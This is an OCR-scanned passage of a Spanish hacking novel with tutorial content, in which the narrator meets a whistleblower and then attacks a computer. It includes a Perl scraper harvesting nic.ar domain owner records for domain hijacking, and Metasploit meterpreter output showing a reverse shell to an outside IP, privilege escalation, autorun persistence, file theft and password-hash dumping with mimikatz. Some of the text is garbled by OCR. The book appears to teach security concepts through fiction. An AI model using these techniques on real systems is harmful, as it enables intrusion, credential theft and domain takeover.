culinarios existen (si te gusta la comida de franquicia, claro): Telepizza, Burguer King,
Mc Donalds, VIPS, Fosters Hollywood vy, por supuesto, KFC anunciaban sus productos
en carteles luminosos y congregaban largas filas de fieles ante sus mostradores. Cada
establecimiento tenia su propio local en uno u otro lado del amplio pasillo, pero el centro
estaba plagado de mesas de uso comiin. De este modo, los clientes podian recoger su pedido
y luego buscar un sitio libre donde poder consumirlo.

Esperé junto a la cartelera, dominada por la misma mediocridad que la oferta gastronémica,
pero donde la aglomeracion de personas era menos intensa. El cine vivia su particular
invierno (menos mal que la televisién se encontraba en su edad de oro), aunque yo seguia
acudiendo a mi cita semanal con la gran pantalla. Siempre esperaba encontrar una pepita
de oro entre tanto guijarro y, cuando no lo conseguia, me decia que solo iba al cine por las

palomitas.

Cuando mi mévil zumbé una sola vez, supe que Marcos se encontraba en posicién y no
habia moros en la costa. Era la sefial convenida.
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Sali al largo pasillo central y, tras una rapida inspeccion, tocalicé el KFC. Me dirigi hacia
alli con paso decidido, sin que nadie despertara mi sentido aracnido. Ningiin hombre con
gabardina ocultaba sus ojos inquisidores tras un periédico desplegado. Tampoco me seguian
los pasos dos tipos con las manos en los bolsillos y sombreros bien calados. Tras pensarlo
detenidamente, decidi que tenia que dejar de leer a Raymond Chandler por una temporada.

Me acerqué a un puesto de helados en el centro del pasillo y pedi un café con leche fria.
Aungque remarqué claramente lo de fria, tras pagar casi dos euros me dieron un vaso de
cartén cuyo contenido transmitia cada uno de sus cien grados a mis dedos. Me lancé a la
carrera en busca de una mesa donde poder soltarlo y tuve suerte. Habia una mesa libre a
pocos metros de la entrada al KFC. Me senté, tratando de aliviar el dolor en las yemas
soplando sobre ellas.

No sabia cuando apareceria el remitente del SMS ni qué intenciones tenia. En todo caso,
por mucho que se retrasara, el café permaneceria lo suficientemente caliente si me veia
obligado a utilizarlo como arma.

Me removi en el asiento, inquieto, hasta que terminé por girarme del todo. Trataba de
localizar a Marcos, aunque sabia que era un esfuerzo indtil. Estaria mimetizado entre
la gente, vigilando, como un ninja. Aun asi, segun pasaban los minutos me sentia mas
aterrado. Si no fuera porque estaba desesperado por saber algo de Yolanda, habria salido
corriendo hacia la salida mds proxima.

Dos zumbidos en mi bolsillo me indicaron que alguien se acercaba. Intenté disimular mi
nerviosismo echando mano del vaso, pero retiré la mano como si me hubiera mordido una
cobra al sufrir una nueva quemadura. Para cuando me recuperé por completo, un chico se
habia sentado al otro lado de 1a mesa. Un chico a quien yo conocia... de otra vida.

-iPablo! —exclamé-. ;Pero qué...? Creia que habias...
-No —dijo €I, sacudiendo la cabeza.

A pesar de los afios transcurridos, el hermano de Yolanda seguia conservando el mismo
rostro juvenil que yo recordaba del instituto. Aunque solo le sacaba dos afios, cualquiera
hubiera dicho que perteneciamos a generaciones diferentes al comparar su rostro lampifio
de ojos vivaces con el mio demacrado por la sorpresa y la preocupacion. Solo un atigbo
de inquietud alteraba sus facciones adolescentes cuando se inclin6 hacia mi por encima
de la mesa, en clara invitacién para que yo hiciera lo propio y pudiéramos mantener la
conversacién a salvo de oidos extrafios. Se frotaba las manos con evidente nerviosismo
mientras esperaba a que me recuperara del shock.

-Yolanda estaba preocupada por ti —dije, cuando finalmente me repuse-. Creia que te
habia ocurrido algo malo.

-Y no se equivocaba. Estoy en medio de algo muy malo.

-Le enviaste el archivo —afirmé.

-
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-Correcto. S€ que ella te lo pasé a ti.

-EntOHC S Cl rtO XClal’Il i STo € 0sa tuya. ES ati a C]I.llen l)ll can €sos tlpos.
Scamn €s

-Si. Ellos la tienen. Todo es por mi culpa —se lamentd.

—Hay que avisar a la policia. No sé en qué estards metido, pero me importa una mierda
s1 sales mal parado con tal de que la encuentren. Solo quiero que vuelva sana y salva

-iY crees que yo no! -me dijo casi a voces-. iEs mi hermana, joder!

-Entonces vayamos a la poli.

TNO podemos —dijo,.sacudiendo la cabeza-. Ellos se han puesto en contacto conmigo. Si
implicamos a la poli... ;Cémo he podido ser tan estipido?

-iDios! Tienes qué decirme qué demonios esta pasando.
-Es complicado.
-Soy un tipo listo. Habla.

-Esta bien —dijo, tras unos momentos de reflexién. Se incliné hacia delante y cruz6
los brazos sobre la mesa, la mirada baja-. Todo empezé con el archivo. La empresa
para la que trabajo... quiero decir, que trabajaba, desarrolla distintas obras y servicios
para la Comunidad. Pues bien: por casualidad descubri una contabilidad paralela que
demuest_ra el pago de sobornos a altos cargos de la administracion autonémica para
conseguir la adjudicacién de los contratos a dedo.

-El archivos-repeti.

-Correcto. El archivo prueba la existencia de una red de corrupcion que implica a varios
peces gordos de la empresa y a muchos politicos de alto nivel. La empresa recibe fondos
publicos de forma fraudulenta y todos los implicados se llevan una parte sustanciosa.
Como te digo, la informacién llegé a mis manos por accidente, cuando accedi a una
carpeta que no debia y abri el fichero equivocado. En ese momento, no estaba encriptado.

-iCifrado, joder! ;Ci-fra-do! ;Qué problema tenéis en vuestra familia con las criptas?

Pablo se eché hacia atrés, asustado. Sus ojos estaban muy abiertos y me miraban como si
me hublera vuelto loco; pero es que se dice cifrado, y lo menos que espero de la gente que
utiliza las palabras es que las empleé correctamente.

-Esta bien. Cifrado —continud, relajandose apenas lo suficiente para despegar unos
grados su espalda de la silla-. Como iba diciendo, cuando lo abri no me pidi6 ninguna
contra}s.eﬁa y pude estudiarlo a conciencia. Mentiria si te dijera que confiaba ciegamente
en la ética de la empresa, pero el asunto era mucho ms grave que un simple chanchullo.

Sacude los cimientos del sistema. Si saliera a la luz y los jueces tomaran cartas en el

asunto, rodarfan unas cuantas cabezas. Y esas cabezas caerian desde muy alto.
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-.Y qué hiciste?

-Lamentablemente, el jefe de departamento rondaba por alli y grabar el archivo en ese
momento hubiera disparado las alarmas. Durante un tiempo, traté de olvidarlo. Tenia
un trabajo comodo y bien remunerado, y no queria perderlo al emprender una cn}zada
personal. Si lo denunciaba, estaba fuera. Eso lo sabia. Habia firmado un mont6n de
acuerdos de confidencialidad cuando me contrataron.

-Pero no lo olvidaste —apunt€.

-No. No podia dormir. Algo me decia que no podia cerrar los ojos ante lo que e§'§aba
ocurriendo a mi alrededor. Cada vez que escuchaba hablar a alguno de los pOll’ElCOS
implicados en la television, se me revolvian las tripas. Al final, (_1ecid1’ que tenia el
deber de actuar. Y concebi un plan para que todo saliera a la luz sin que yo me viera
comprometido.

-Cémo?

-jWikileaks! —dijo, en el mismo tono con que Arquimedes habria exclamado “eurg:ka”—.
Si conseguia robar el archivo y lo filtraba a un portal que preservara el anonl'ryato
del informante, conseguiria mis dos propositos: denunciar la trama d’e corrupcion y
conservar el empleo. Se haria justicia y no habria dafios golaterales. Asi que una noche:
volvi a la empresa y, con la excusa de recoger algo olvidado en mi e'scntono, accefh
al terminal donde estaba guardado el archivo. Lo copié y sali de alli con el corazén
acelerado. Cuando el guardia de seguridad me pregunt6 si habia encontrado lo que
buscaba, estuve a punto de confesar el robo de lo nervioso que estaba.

_Si tenias el archivo, jpor qué no lo filtraste entonces?

-Porque estaba encrip. .. -Pablo se tap6 la boca como un colegial al que se le ha escapado
una palabrota. Mi expresién no debia de ser muy diferente a la del ?rofesor que le
sorprende y le observa indignado-. Queria decir que cifrado no me servia de nada.

_Podias haber recurrido a alguien para que intentara descifrarlo.

-No se me ocurri6é en ese momento. Queria estar seguro de que lo que filtrara se;rviria,
y ademés quise reunir otras pruebas. Verss, cada politico sobornado esté identificado
con un alias.

-El nombre de una ciudad alemana.

-Correcto. Veo que lo has des...cifrado. Yolanda no te habia subestimado. Te aprecia
mucho, sabes?

El conocimiento indirecto de ese aprecio me envolvié en una nube de.fehcyiad. Un
carraspeo de Pablo, notoriamente incémodo ante el rubor que coloreaba mis mejillas, me
devolvié a la amarga realidad.

-;Sabes a quiénes corresponden esos nombres? —le pregunté.
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—N_03 aunque es facil de deducir. Avm asf, tenfa que haber una lista que los identificara.
Mi intencion era conseguir esa lista y filtrar el paquete completo. Intenté ser discreto
y nunca exponerme, Si no encontraba la lista, enviaria lo que tenfa y mi conciencia
quedaria tranquila. Continué actuando segiin el plan. Hasta la semana pasada. Entonces
las cosas se pusieron bastante feas en el trabajo. Los jefes comenzaron a preguntar a
todos los empleados. Mi PC fue precintado y yo recibi la orden de acudir al despacho
del director de personal. Estaba claro que me habian descubierto. Tuve que fingir una
indisposicion para marcharme a casa. Después de eso, no regresé.

-¢Y por eso desapareciste y no volviste a dar sefiales de vida?

-No, claro que no. Hay més —se pas6 una mano por la cara antes de continuar-. Cuando
comprendi que ya no tenfa trabajo, tuve méas ganas que nunca de sacar la trama a la
luz piblica. Esos cabrones debian pagar. Yo lo habia hecho con mi empleo. Solo para
asegurarme, envié el archivo a mi hermana. Esa misma noche, me despert6 un ruido en
¢l piso bajo de mi casa. Salté de la cama y me asomé por la escalera. Habia dos hombres
en el salén. Me asusté tanto que me tropecé cuando traté de volver a la habitacién. Antes
de que uno de ellos me alcanzara, salté por la ventana y aterricé en el jardin. Corri por
las calles como una exhalacion, pero nadie acudié en mi ayuda. Cuando me atrevi a
volver, acompaiiado por la policia, la casa estaba patas arriba.

-Déjame adivinar. Se habian llevado tu ordenador y todo dispositivo de almacenamiento,
incluido el que contenia el archivo.

-Correcto.
-Los dos tipos, ¢no seria uno calvo y fuerte y el segundo alto y muy delgado?
~Correcto 8e nuevo —asintid, con un atisbo de duda en su mirada-. ; Como lo has sabido?

-Tuve un encontronazo con ambos esta misma tarde, pero esa si es una larga historia.
Continga con la tuya.

-La policia lo calific6 como el casico robo, pero yo sabia que las casualidades raramente
suceden. No me atrevi a denunciar mi descubrimiento hasta no tener todas las pruebas.
Ese fue otro grave error. Ya no me sentia seguro en mi propia casa y no podia contar
con que los hombres que enviaron a por mi no quisieran acabar el trabajo. Desapareci,
esperando encontrar a alguien que pudiera ayudarme con el archivo. Sabia que tii te
dedicabas a estas cosas por Yolanda, pero resulté que mi hermana se me adelantd y
acudio a ti primero, sin que yo me enterara hasta mas tarde.

-.Y te extrafia? ;Te esfumas sin dejar rastro y todavia esperas que tu hermana no
remueva cielo y tierra para dar contigo? ;Después del correo en que le avisabas que
estabas en peligro?

-¢Has leido el correo? ;Ella te lo ensefié?
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-Mis o0 menos —asenti, incomodo. No era momento de admitir ninguna de mis recientes Capitulo XVI
intrusiones-. El caso es que la pusiste en el punto de mira. Y ahora solo depende de
nosotros que regrese sana y salva. Bucle

-, Cémo lo hacemos? —preguntd, con un destello de esperanza en los ojos.
-Tengo algo entre manos. ;Donde puedo localizarte?
Empezé a darme un nimero de teléfono, pero se detuvo en el cuarto digito.

-No, espera. Ese es el de Telgroup. Ahora tengo un teléfono prepago. Es con el que te Marcos me recogifé en la entrada principal. Antes de que pudiera acomodarme en el asiento
envié el SMS... ;Te encuentras bien? y abroc!lamle el cinturén, ya volaba en direccion a la autovia. Solo cuando nos internamos
en el trafico nocturno y las luces del Cherokee se confundieron entre la constelacion de

los demés vehiculos, parecié abandonar su interés por los retrovisores y reparar en mi
presencia.

Senti que conectaban dos diodos a mi cuerpo y me administraban una desgarga paralizante
de cincuenta mil voltios. Aguanté la respiracién hasta que no pude mas, e incluso entonces
solo dejé escapar el aire muy despacio. No estaba seguro de poder articular palabra, pero . )
afim asi lo intents. -Se ha marchado en un Seat Ibiza blanco —dijo-. Tengo la matricula. No ha utilizado el

' teléfono y nadie lo seguia. Parece que estaba solo en esto.
-Repite eso.

-Lo sé.
-, Qué? —dijo sin comprender.

Le resumi la conversacion que acababa de tener con Pablo. Esto sirvié tanto para informarle
de lo que habia descubierto como para que yo mismo pudiera asimilarlo. Mi amigo, fiel a
“Telgroup. ;Por qué? su cos‘turnl.)’re, 10 mostr6 reaccié_n alguna ante las sorprendentes ramificaciones de nuestra
mvestigacion. Se limité a seguir conduciendo como si le hubiera hablado de algo tan
intrascendente como las tiltimas peliculas de Nicolas Cage.

-La empresa para la que trabajabas. ;Cémo se llama?

Habia reunido unas cuantas piezas del puzzle. Ahora algunas parecian encajar.

-Porque yo te delaté —le dije-. Yo soy la causa de que te descubrieran. ~Tenemos que encontrarla —conclui.

-Lo haremaos —prometié Marcos.

Después, ambos guardamos silencio; solo se escuchaba el ronroneo del potente motor del
Cherokee por encima de los sonidos del trafico exterior.

wilE

Al llegar, dejamos el coche en el garaje y subimos en ascensor adoptando las mismas
medidas de seguridad que la primera vez. Ya no estaba escandalizado. Empezaba a entender

e

L ese tipo de comportamiento.

4 P . . . . , . -

|~ Marcos me dej6 en el salén y entr6 en la cocina. Me recosté en el sof4 y encendi el portatil.

Ei.-’i Mientras esperaba que el sistema arrancara, la adrenalina en mi organismo remitia. Una
~ sensacién de profundo agotamiento me vencié al final de aquella jornada que habia sido

. de todo menos rutinaria. No obstante, consegui mantenerme despierto y abrir mi sesion.
"l

s

Mientras, me llegaba ruido de cacharros y olor a comida. Marcos estaba cocinando.

Regres6 con una bandeja antes de que yo pudiera comprobar si alguien habia usado a Hello
Kitty. Se sent6 a mi lado y sefialé uno de los platos de pasta precocinada al tiempo que se
abalanzaba sobre el otro y empezaba a comer.

-Adelante —dijo-. Come.
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-No tengo hambre —contesté, y era verdad, pese a que no habia probado bocado desde
aquel ligero almuerzo en mi casa, hacia ya un siglo.

_Come —epiti6-. No sabes cuando podrés volver a hacerlo.

Aparté el portatil a un lado y me alcancé los ravioli. No queria ofender al cocinero. Ademas,

el delicioso olor a queso parmesano me estaba devolviendo, aunque timidamente, el apetito.

-Ese tipo —dijo Marcos, una vez hubo conseguido su proposito-. Pablo. (Podemos estar
seguros de que juega en nuestro equipo?

-Bastante seguros, si. ;Por qué lo preguntas?

-Bueno, trabajaba para una empresa que s€ dedica al fraude y al soborno. No es la mejor
carta de presentacion para confiar en él. Quizés se llevaba un pellizco.

-jPero si queria denunciar lo que estaba ocurriendo! —tepuse-. Robé el archivo y s€ v10
obligado a huir.

-Y ahora que a ti te persiguen a causa de ese archivo, regresa milagrosamente. Es un
poco extrafio, (no te parece?

-El queria hacer lo correcto —continué-. Su tmico error fue subestimar a sus enemigos...
E implicar a Yolanda.

-Colega, estas suponiendo que te ha contado la verdad...

No es solo una suposicion -le corté-. Su historia concuerda con los datos que he venido
recabando.

-Explicate.

-En primer lugar, estd el origen del archivo. Sabemos que Pablo selo enwt(; a 1su h;x;m;:;z
por correo, junto con un mensaje de advertencia bastante claro. Luegq(es elarc ;}\; o

si. No sabia lo que significaba, pero ahora c_omp_rendp su importancia gracias :;d méf-;-
No creo que me hubiera dicho nada si estuviera sm_pl‘lf:ado de alguna 1}1aner§. : eél‘s;;
tenemos una correlacion temporal entre su desaparicion y las concl_qswnebs: e ta)t;d c: =
forense en el que yo estaba trabajando. '}'elgrfaup queria sa_lber quién habia rct tln
fichero y recurri6 a mi empresa. Yo idennﬂqut? 'al usuario sin saber que este era > k;
Cuando se vio obligado a huir, Yolanda me pidio que descifrara el archivo pgrque ? 2
tnica pista que tenia para encontrarlo. Es una historia demasiado complicada para qu

la explicacion mas sencilla no sea la verdadera.
-jCuidado! _advirtio-. Puedes llegar a cortarte con €sa navaja de Occam.

-No. Hay otra cosa. Algo que vi en los ojos de Pablo mientras me hablaba.

- Qué era?

A
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-Miedo. El mismo miedo que veo cuando me miro en el espejo desde que secuestraron

a Yolanda. Nadie puede fingir esa mirada. Sé que Pablo estd muy preocupado por lo que
le pueda suceder. Solo quiere traerla de vuelta.

-Ojaléd conservaras el archivo —dijo Marcos, haciendo una pausa para masticar-.
Tendriamos algo con lo que negociar, llegado €l caso.

-Pero no tenemos nada -apunté.
-Bueno, algo si que tenemos. A .
- Qué?

—Escapaste, colega. El que envi6 a aquellos dos querrd acabar el trabajo. Creera que
tienes una copia del archivo.

-Ya te he dicho que no hice ninguna copia —lamenté.

-Yo lo sé. Ellos, no. Mientras te mantengas oculto, fuera de su control, no se sentiran
seguros. Cometer4n errores. Se precipitardn. Intentardn deshacerse de cualquier prueba
incriminatoria y tratardn de encontrarte. Tenemos que aprovecharnos.

-, C6mo? Tienen a Yolanda. No pienso hacer nada que la ponga en peligro.

-Ahora mismo el mayor peligro es no hacer nada. El tiempo corre en nuestra contra.

Si descubren que no tenemos ninguna prueba contra ellos, tu novia se convertira en el
tnico cabo suelto.

“Ya te he dicho que no es mi... Da igual —dije, apartando el plato a medio terminar y

acercandome el ordenador-. Tengo que ponerme con esto. No podemos perder ni un
minuto mas.

-Como quieras. Pero, si no te importa, yo terminaré de cenar mientras desarrollas tu
magia.

Y Marcos continué disfrutando de la cena mientras yo me zambullia en la pantalla.

Recuperé la sesion de mi servidor y volvi a desilusionarme al ver que atn no habia llegado
ninguna conexién. E1 Metasploit seguia esperando.

Sin pensarlo demasiado, volvi sobre el NIC y los dominios argentinos. Tenia que
hacer tiempo y disponia de un rato para programar un script que hiciera las peticiones
autométicamente y me generase la base de datos.

La idea era conseguir el historial de, absolutamente, todos los dominios registrados. Para
ello, debia programar un script que realizase las peticiones web cambiando el identificador
del dominio, desde el primero hasta el Gltimo, y anotando todos los detalles que mostrara
la pagina, entre ellos: el c6digo de ese dominio, el codigo del usuario propietario y el alias,
también llamado NIC Handle, de ese mismo usuario.

e pda oty Bl ek h I
Thp ALt b ?“. by -
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Una vez tuviese todos los historiales, si quisiese transferir un dominio, me ’ba_starla con
hacer un whois desde la web para saber su NIC Handle, ya que este dato es pubhch luego
buscar su codigo de usuario en la base de datos; y ﬁnalmente componer la URL adivinando
el codigo de peticién. Por lo menos, €sa era la idea que compuse en mi cabeza y que

encajaba con el funcionamiento de la pagina.
DATOS DEL TITULAR

Nombre del -~
Dominio
Estado Activado

Identificador 1A569-AIG2

i AR-NIC Registro delegado de Internet en Argentina
Titular Delegated Internet Registry for Argentina

Email contacto_dominios@nic.ar
Teléfono +24 90130291223

Fecha de _07-1990
Alta 01-0

Fecha de a7
Caducidad 01-07-2013

Img 68: Informacién de un dominio mediante whois.

< ici { ltaba el historial con la
Capturé las peticiones que hacia el navegador cuand_o’ consu
hergamienta ;Jara desarrolladores de Chrome, que se abri6 al pulsar Ctrl+Mayusculas+L, y

copié las URLs y la sesion en un bloc de notas.
Di una palmada y froté una mano contra la otra antes de abrir el editor de textos y empezar

a teclear. Era el ritual antes de programar.

El objetivo era tener algo hecho rapidamente, asi que decidi hacerlo en lenguaje perl, que

era con el que mas comodo me sentia.

einte minutos lo tenia listo. No era demasiado
n de consultas provocaria que no fuera todo lo
1lo ejecutar el script por triplicado que andar a

—

Tras depurar un par de fallos, al cabo de Ve
complicado, aunque la falta de paralc’ehzamq
rapido que deseaba. Me resultaba mas senci
vueltas con los hilos.

41! /usr/bin/perl

use strict;

use HTTP::Request;
require LWP::UserAgent;
S1=1;

my Sua = LWP::UserAgent->new;
$ua->agent (“Mozilla/4.0 (compatible; MSIE 5.0;

Sua—->timeout (3);

Windows 98)7);

=> “JSESSIONI D=aaaaaaaaaaaaaaa”);

$ua—>defaultrheader(‘Cookie'
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my @urls; my Sregs; my Si=1;

for (1..2250999) {
my $url = “https://www.nic.ar/sgnd/dominio/buscardistorialDominio.acti
on?codDominio=$ &nombreDominio=nic.ar”;
push (Qurls, Surl):;
}
while ($i < S#urls) {
my %cod;
my Surl = “$urls($il”; my S$res = Sua->get (“Surl”);
my $content = $res->content():
foreach my $line (split(/\n/,Scontent))
if ($line =~ m/codContacto=(.*?)/) {
$line =~ m/codContacto=(.*?)\’"\).*?" >(.*)2<\/a>/;
Scod{$1}="$2";
}

{

}
foreach my $c (keys %cod) {

print “codContacto: $c NICHAND: S$Scod{$c} CodDom: $i\n”;
}

undef (%3cod); S$Si++;

Elemento 3: Script para la obtencion automética de los valores CodContacto y CodDom

Me quedé embobado al instante, mirando como la pantalla se llenaba de lineas con datos.
A pesar de estar angustiado por la falta de noticias sobre Yolanda, una pequefia y malvada
sonrisa se me ¢ibujé en la cara pensando en los dominios a los que gastarles “una broma”.

codContacto: 15550720 WICHAND: 573DB6-ARNIC-FS5 CodDom: 2250058
codContacto: 12618012 NICHAND: ZA7DDO-ARNIC-FS CodDom: 2250058
codContacto: 15550730 NICHAND: S573DCO-ARNIC-F5 CodDom: 2250058
codContacto: 15550719 WICHAMD: 573DBS5-ARMNIC-FS CadDom: 2250058
codContacto: 5357426 MICHAND: ARF299-2RNIC-F4 CodDom: 2250058
codContacto: 7670229 NICHAMND: ARF447-ARNIC-F4 CodDom: 2250058
codContacto: 15550721 NICHAND: 573DB7-ARNIC-FS CodDom: 2250058
codContacto: 3657661 NICHAND: HO71-ARMNIC-F4 CodDom: 2250058
codContacto: 5752581 NICHAND: DS16575-ARNIC-F4 CodDom: 2250064
codContactg: 12354071 NICHAND: 2676CB-ARNIC-F5 CodDom: 2250064
codContacto: 5752583 NICHAND: DS16577-ARNIC-F4 CodDom: 2250064
codContacto: 59478 NICHAND: YAC3-ARNIC CodDom: 2250063
codContacto: 13059623 NICHAND: 313ADB-ARNIC-F5 CodDam: 2250069
codContacto: 251870 NICHAND: TD220-ARNIC-F4 CodDom: 1039867
codContacco: 145602324 NICHAND: 48CS0S5-ARNIC-F5 CodDom: 1039867
codContacto: 7583424 NICHAND: MS28067-ARNIC-F4 CodDom: 1039867
codContacto: 12779328 NICHAND: 2CF3F4-ARNIC-FS CodDom: 1039867
codContacto: 528771 NICHAIND: CMS165-ARNIC-F4 CodDom: 10339867
|codContacto: 7251791 NICHAND: JH2264-ARNIC-F4 CodDom: 1039867
codContacto: 12036087 NICHAND: 219CAB-ARNIC-FS CodDom: 1039857

Img 69: Resultados de la ejecucion del script.
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Cuando estuve seguro de que todo iba tal y como habia ideado, me levante pa;ta n&OJiIEz
la cabeza y descargar el café que habia 1nger1.d0 pocas horas antes. El cuar 0t . :mente
estaba repleto de potingues y mejunjes, COmo sl fuerg el de una mujer. E{a pracr;c merte
imposible que mi rudo amigo usase aquello. “; Tendria una nueva novia?”, me preg

mientras hacia punteria en la taza.

Caminé de vuelta al salén y me deje caer en el sofé. Estaba a
dejaban descansar. Encendi la television. En uno de los canales,
trataban de producir un rayo solar de Arquimedes, pero €so
estimulante como para mantener mis parpados abiertos. Pro

silencio.

gotado, pero los nervios no me
“Los Cazadores de Mitos”
no era lo suficientemente
nto, todo fue oscuridad y

wa

TR

Capitulo XVII: Metasploit 131

Capitulo XVII
Metasploit

Desperté sobresaltado y miré el reloj. jMierda! Habia pasado una hora. Me lancé sobre
el portatil y pulsé la barra espaciadora para despertar al equipo. El parpadeo del cursor
esperando comandos me indicaba que la magia habia funcionado. Tenia trabajo.

La sesion de meterpreter se habia abierto. Un nuevo mundo de opciones me esperaba. Tenia
que averiguar todo lo que pudiera de ese equipo en el menor tiempo posible.

Lo primero que hice fue comprobar los datos basicos con el comando sysinfo; de esta
forma, podria ver en qué ordenador se habia insertado Kitty y qué version de sistema
operativo usaba.

Posteriormente, idletime me informé del tiempo que llevaba el PC sin ser utilizado por
nadie, es decir, sin que nadie moviese el rat6n ni pulsase ninguna tecla. Asi sabria si me
detectarian con facilidad o podria ser menos cauteloso.

=[ matasploit v4.5.0-dev [core:;4.5 api.l.0]
+ -- = [ 962 exploits - 510 auxiliary - 153 post
+ —— ——= [ 257 payloads - 28 encoders - B nops

AYLOAD => uindows/meterpreter/reverse_tcp

ILHOST => 176.9.126.35

ILPORT => 4444

[*] started reverse handler on 176.9.126.35:4444

[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 88.3.32.245

[*] Meterpreter session 1 opened (176.9.125.35:4444 —> 88.3.32.245:49332)

meterpreter > sysinfo

Computer : PCB2403
j0s : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : es_ES
terpreter x84 /win32

meterpreter > idletime

ser has been idle for: 22 mins 16 secs
terpreter > §

Img 70: Conexién ¢ inicio de meterpreter, con comandos basicos.

Como no habia moros en la costa, llevé a cabo las tareas rutinarias que harfa cualquier
delincuente comtin: conseguir privilegios de usuario SYSTEM y asegurarme el acceso
al equipo, para que, en caso de ser apagado, volviese a conectarse automdticamente al
arrancar. Usando getsystem, la primera parte fue sencilla. Para la segunda me vali del
script persistence, al que le indiqué que se debia iniciar cuando el usuario se registrase

ciblioteca
Facutiace de miormaccs [ I

;—:g:: UNIVERSIDADE DA CORUNA
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(-U), que esperase 5 segundos entre intento e intento si no podia conectar (-1 5), el puerto
del handler del metasploit (-p 4444)ylalP(-r 176.9.126. 35) a la que conectarse.

meterpreter > getsystem
. .got system (via technique 1).

meterpreter > run persistence -uU -i 5 -p 4444

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ﬁ

bCB2603_20121119.4057/WPCBZGO3_20121119.4057.rc

[*] Creating Payload;windows/meterpreter/reversg_tcp LHOST=176.9.126.35

LPORT=4444

[*] Persistent agent script
pPersistent Script writte

'\ HkIBBu.vbs

[{*] Executing script C:\Users\ADHIN~1.H7-\ApPData\Local\Temp\HkIBBu.vbs
agent executed with PID 3680

[*] Installing into antorun as HKCU\Software\Mi

-r 176.%.126.35

is 614074 bytes long
n to C:\Users\ADllIN~1.W’I—\,AppData\Local\Tam

crosoft\Windows\CurrentV

ersion\Run\IlsrGezIlH
Installed into autorun as EKCU\Software\uicrosoft\“indows\ﬂu:rant?e

rsion\Run\IlsrGezIH
-

meterpreter >
Tmg 71: Obtencién de privilegios en meterpreter instalacion de meterpreter automatica.

Si el usuario cerraba el Adobe Reader con el que habia abierto el PDF, perderia la
conexion en ese momento, ya que el “premio” se habia invocado desde alli. Para evitar ese
comportamiento, y por si no volvia a encenderse el PC nunca mas, 1o migré a otro proceso.
Listé todo lo que habia en gjecucién usando el comando ps, busqué uno del sistema 'y lo

mudé con la instruccién migrate y el PID (Process ID) al que inyectar.
B0 3740 met.exe xB6 1 PCWZ003 jadmin

C:\Users\admin\Desktop\met.exe

2924 2392 gearchProtocolHost. exe x86 1 PCR2003\admin

C:\Windows\systemB2\SearchProtocolHost.exe

3100 476 svchost . exe xB86 0 NT AUTHORITY\SYSTEM
C:\Windows\SystemS2\svchost.exe

3184 476 taskhost.exe x86 1 PCW2003\admin
C:\Windows\systemBZ\taskhost.exe

3272 816 wuauclt.exe x8aé 1
C:\Windows\systemB2\wuauclt.exe

3560 3740 iexplore.exe x86 1 PCW2003\admin
C:\Program Files\Internet Exploreri\iexplore.e

3740 1084 explorer.exe x86 1
C:\Windows\Explorer.EXE

3748 740 audiocdg.exe

PCW2003\admin

xe
pCcW2003\admin

x86 0

meterpreter > migrate 3100
[*] Migrating to 3100...
[*] Migration completed successfully.
Img 72: Migracion de meterpreter a Ofro proceso.

En cuanto la pérdida de acceso dejé de ser un problema y estuve un poco mas tranquilo,
saqué un informe detallado con el script winenur. Este invoca decenas de comandos del
sistema y hace un registro minucioso con la configuracion de usuarios, grupos, procesos,

red, politicas de seguridad, servicios y un largo etcétera.

Capitulo XVII: Metasploit m

E[*':E'] ei_.'EreEer > run winenum
Running Windows Local i
Enumer. i
{:}] l;ew session on 192-168'1-18_-;-;;12;561581131‘9‘591 soript
aving general report t ; S£4
1647 /wpoa g s TORS o /root/.msf4/logs/scripts/winenum/HPCBZ603
[*] Output of each i ivi .
individual ccmma i
pfs/wj_nenm/wpcpzsoa s nd is saved to /root/ .msfA/logs/scri
%*} Chec];;;xg ::Lf W7-00127 is a Virtual Machine
o s is a VMware Workstation/Fusion Virt l fachi
UAC is Disabled i
[*] Running Command List
: C .
{*} runnJ‘.ng cammand amd.exe /c set
(o] runn}ng command route print
el run.ru..ng command net view
X ruxm_.lng command netstat -ns
[*; runnJ._ng command net accounts
running command ipconfi i
: g /displaydn
[:] running command netstat -vb prayens
{*% running command arp -a
running command ipconfi
: g /all
[[*1 running command netstat -nao

Ime 73- ST : =
g 73: Obtenci6n basica de informacion de un sisterna con el seript winenum

Con el comando sea
rch ~f *.doc, localicé d :
descarga : LT ¢ documentos por todo el disco :
“Mis Solclsggrsltg;)’l,l ;a; 1nitrucc1ori download. Aparecfan por todas partes: eldeig’itzr?;l
os temporales. También bajé el ¢ Ren e v >
. > 0ITeO € i
fichero susceptible de contener informacién impmj'tame tectrnico.y, enalquier ot

Observé qu i i
que muchos archivos eran oficiales, ya que tenian la cabecera de la Consejeria de

Economia y 1 i i \Y
: Hacienda, pero ninguno contenia datos de interés para la investigacién
meterpreter > cd ve: /users/admin/Documents/Archivos de Out look /"™

meterpgeter > 1s

Listing: c:\users\admin\Documents\Archivos de oOutlook

Mode i
Macy Size Type Last modified Name
40777 dir  2012.06-20 20 o
dosssjifiifiiﬁx g d}r 2012-06-20 20:08:40 +0200

x dir 2012-06-20 04:10:15 +0200

100666 /rw-TW-Tv— ' o
/SrTW-TW-Tw 271360 fil 2012-06-20 20:08:40 +0200 Outlook. pst

m:targretar > download Cutlook.pst
[*] downloading: Outlook.pst -> Outlook.pst
[*] downloaded : Outlook.pst -> Outlook.pst

meterpreter > |

Img 74: Descarga de ficheros desde meterpreter.

La SAM i

s contraséf?:a:jniy Acpounts Manager) es una base de datos que almacena los usuarios

e s del equipo usandg un algoritmo criptogréfico llamado hash NTLM. Para

e fuglrl;a cbontrasenas equivalen esos hashes, es necesario usar otra herran; fenta

o Hamando?lti 0sobredeILOS. El script winenum ejecutado antes ya habia hecho un
. mando hashdump de meterpreter, pero exi :

mimikatz?® para sacarlas de forma directa en textchp claro. e xitten Sememientag o



m Hacker Epico

ati i i ducto
Debia subir esta utilidad desde mi portétil, pero antes habia que avenguilt*‘ :]aglrﬁ:acién
antivirus que tenia instalado el sisterna, ya que podia ser detectada como
maliciosa y eliminada en consecuencia.
i i ' revis : '
no disponia de entorno grafico para ‘ il e
o . idad” del Centro de actividades que esta en el panel de control, invoq
e SRt T 1 desde ahi, lancé una consulta WMI
una shell para ejecutar comandos del propio CMD y, desde ahi, e Ot
(Windows Management Instrumentation), preguntando por la version del p !
mas sencilla que intentarlo usando el script wnic de meterpreter.

